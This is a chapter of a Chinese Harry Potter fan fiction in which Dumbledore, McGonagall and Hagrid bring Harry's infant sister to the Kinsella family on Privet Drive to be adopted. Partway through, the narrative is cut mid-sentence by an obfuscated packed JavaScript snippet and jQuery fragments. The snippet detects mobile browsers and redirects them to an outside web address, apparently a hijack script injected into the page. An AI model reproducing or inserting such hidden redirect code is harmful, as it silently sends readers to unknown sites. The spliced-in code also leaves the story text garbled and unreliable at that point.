1. 第一章:另一位幸存者
作品:《宿命-假如哈利波特有个妹妹》 十月末的天气总是阴雨连绵,天空阴沉沉的,看不到一点光亮。万圣节那一天,天气照样不好,夜晚的云朵厚得密不透风,将星云牢牢地遮住。尽管如此,女贞路的街道上依旧充满充满欢声笑语。小孩子们或是化装成女巫和吸血鬼,或是化装成幽灵和狼人,提着南瓜型的小篮子,篮子里装满各色各样的糖果,挨家挨户地敲门,涂满油彩的脸颊难掩他们可爱的稚气——至少在芙拉维亚·金塞拉(Flavia Kinsella)看来是这样的。
“Trick or treat ?”稚嫩的童音混杂着客厅里晚间新闻一本正经的播报声,金塞拉夫人微笑着拉开大门,递上了一大把早已准备好的糖果。
“真可爱!”金塞拉夫人的动作还带着芭蕾舞演员的一丝夸张,“如果我们也能有一个这样可爱的孩子,那该有多好。”
埃德蒙·金塞拉(Edmund Kinsella)不自觉地搂住了妻子的肩膀,像吟游诗人一般用着抒情的语调说着:“哦,亲爱的,心儿永远向往着未来,现在却常是忧郁。一切都是瞬息,一切都将会过去。”
又是一阵敲门声响起,住在金塞拉一家对面的佩妮·德思礼带着她刚满一岁的小儿子也带着小篮子来讨要糖果了。胖嘟嘟的小家伙话都还说不清楚,却也在空气中挥舞着小拳头,龇牙咧嘴、口齿不清地说:“不给糖就捣蛋。”
金塞拉夫人照例拿出了一小把糖果,放进了达力·德思礼的小篮子里。
“这么小的小孩子还是最好不要吃糖果哦。”金塞拉夫人看着达力,眼里不自觉地出现了一丝宠爱。
“我知道,”佩妮·德思礼的长脖子似乎要将达力紧紧地圈在自己的怀里,“只是让他感受一下节日的氛围。”说着,她将那一小把糖果收进了自己的衣袋里。
“我要吃我就要吃!”达力·德思礼挥着小拳头,短短的腿不停地撞在母亲的身上。
“再见,万圣节快乐。”佩妮·德思礼看起来实在招架不住,匆匆地说了句节日祝福,就赶紧关上金塞拉家的大门告辞了。
“天哪,”金塞拉先生叹息道,“希望不要是这样的孩子。”
花园的栅栏上,一只虎斑猫抖了抖僵直的身体,悄无声息地从女贞路6号的门前溜走了。
客厅里的窗帘拉得严严实实,留声机播放着肖邦的《B小调圆舞曲》,随着最后一个拍子缓缓数完,金塞拉夫人长舒一口气——终于练完了晚功,她稍稍活动了一下肩膀,正准备回到楼上卧室去休息。
门外响起清脆的门铃声,金塞拉夫人稍稍有些惊讶——这么晚了,谁还会来敲门?
“我来开门。”坐在沙发上睡着了的金塞拉先生被门铃声惊醒,小心翼翼地拉开了门。
门外漆黑一片,一点光亮都看不到。
“奇怪,路灯怎么全都灭了?停电了吗?”金塞拉先生心里犯嘀咕,“谁呀?”
突然亮起的一束白光把金塞拉夫妇都吓了一跳,微弱的光里,突然浮现出三个人的脸。
左边的那位身着一身拖地长袍,披着一件托到地的紫色斗篷,银色的头发和胡须几乎和袍子一样长,半月形眼镜后的那双蓝眼睛即使在微弱的光里也炯炯有神;右边的那位女性穿着一件同样拖到地的墨绿色长袍,浅棕色的头发在脑后挽成一个紧紧的髻,方形镜片后的眼睛里透露出凌厉的光芒,怀里还抱着一个包裹。而后面的哪一位——金塞拉夫妇觉得好像不能用普通的“人”来称呼他,他几乎有自己的两倍高,乱蓬蓬的头发几乎将他的脸完全遮住,有好几个地方都打着结,垃圾桶盖般大的手掌正捧着一块脏兮兮的手帕擤着鼻子。
“你们是——我们认识你吗?”金塞拉夫人大惊失色,反复打量着眼前的三人,那身衣服简直是话剧演员才会有的装扮。
“米勒娃,看来我们忘记自我介绍了。”银须老者缓缓开口,声音平缓。金塞拉先生确信自己闻到了一股柠檬雪糕的味道。
“我是阿不思·邓布利多。这位是米勒娃·麦格。那位是鲁伯·海格。”邓布利多缓缓开口,“我相信你们知道,在你们所生活的这个世界之外,还有另一个属于巫师的世界吧。”
这下轮到金塞拉先生大惊失色了,诚然,他的祖母曾经告诉过他,自己家往上追溯十几代,大概有一位祖先的表姐是巫师,但随着仅有的血脉随着一代又一代人的不断稀释,到了金塞拉先生这一代,他们就仅仅是普通的“麻瓜”(好像是叫这个名字)了。至于那一点点的联系,早就可以忽略不计了。金塞拉先生也有和妻子提起过这件事情,但二人都只是将它当作一个有趣的家族传说来看待。此刻,更令金塞拉先生感到惊恐的,是这位老者为什么会知道这件事情。
那位叫邓布利多的老者微微一笑,像是看穿了金塞拉先生的疑惑。
“有些巫师拥有摄神取念的能力,我想,也就是你们说的‘读心术’。”
仿佛是为了打消金塞拉先生的疑惑,邓布利多又从口袋里掏出了那个形似打火机的银制品,轻轻一按,十二个光球在一瞬间全部回到了各自的位置,十二盏路灯同时亮起。
金塞拉夫妇目瞪口呆,一时间不知该说什么好。金塞拉先生使劲掐了自己一下。
邓布利多微微一笑,又按了一下银质的“打火机”,十二个光球又在一瞬间回到了打火机里。
“这也是你们做的?”金塞拉先生仿佛不会说话了,结结巴巴地指着银器说。
“为了让你们更加确信这个世界的存在。”邓布利多神秘地说。
“行了,阿不思,该言归正传了。”方才一直沉默的女巫开口了,轻轻打开了怀里的那个包裹。
金塞拉夫妇凑近一看,差点又惊得叫出了声。包裹里,一个婴儿正在熟睡,但看起来比正常的婴儿要娇小得多,皱巴巴的小脸在寒风里已经冻得通红
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273820|166648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“这是?”金塞拉先生警惕地将妻子护在身后,眼神里仍充满了怀疑。金塞拉夫人站在丈夫身后,眼神仍不住地往婴儿的身上瞟。
“说来话长,我们就长话短说吧。”那位叫麦格的女巫扶了扶眼镜,“这孩子……她的父母……刚刚被我们世界里的黑魔王——哦,我不能说他的名字——杀害了。”
“对不起?”金塞拉夫人说。
“伏地魔。”邓布利多平静地说,麦格和海格都忍不住打了个寒噤。
“她还有一个哥哥,没比她大多少,刚刚也被送到了住在你们街对面的德思礼一家,也就是他的姨妈家。我们其实是想问,你们愿不愿意收养她,像对待亲生女儿一样对待她。”
“对不起,我想问一下,”金塞拉夫人打断了邓布利多,“我想说,佩妮从来没和我提过她有妹妹,她说她是独生女。”
“哦,夫人,”邓布利多叹息道,“如果你有一个亲姐妹是女巫,你会轻易让外人知道吗?”
“如果是真的,那,为什么,不能把她也送去她姨父姨妈家,而是要找一个完全的陌生家庭呢?”金塞拉先生心头的疑虑还是没有打消。
“有两个原因,”邓布利多的蓝眼睛里闪过睿智的光芒,“第一个原因我们也不方便说,因为至今也没有弄清楚。只是,要让越少的人知道他们是兄妹越好,还有一些其他的东西,我都写在这封信里了。同时,如果你们愿意收养她,也完全不能告诉她任何有关的信息,要让她认为自己就是你们的亲生女儿,直到我们认为合适的那一天才可以。”
“至于第二个原因,”米勒娃·麦格的语气软了下来,“她只有两个多月大,还是早产,如果我们像对她哥哥一样,把她放在门口一晚,我想她大概是活不下来的。”
金塞拉夫人已经慢慢地从丈夫身后走了过来,不自觉地轻轻抱起了那个婴儿,用手指轻轻摩挲着她红通通的脸。婴儿在睡梦中轻轻哼了一声。金塞拉先生有些犹豫地打开了信封,脸上的怀疑逐渐被震惊取代。
“我希望你们能对信上的内容全盘保密,”邓布利多说,“往小了说,这关乎到他们兄妹俩个人的安危,往大了说,可以说是关乎整个魔法界的安危。”
“可是我还有一个问题,”金塞拉先生说,“我们凭空多出一个亲生女儿,光是这一点,就足够让人怀疑了。”
“我们有准备,这一点你无需担心。”邓布利多说,“我们是可以修改别人的记忆的。”
金塞拉先生盯着妻子怀里的包裹许久,终于点了点头。
一直保持着沉默的海格突然发出一声悲恸的长号,用力地擤着鼻子。
“好了好了,海格。”邓布利多说,自己的眼眶竟也有些湿润了。
“再见,祝好运,”麦格教授轻轻摸了摸女婴的脸颊,“多丽丝·莉莉·金塞拉(Doris Lily Kinsella)。”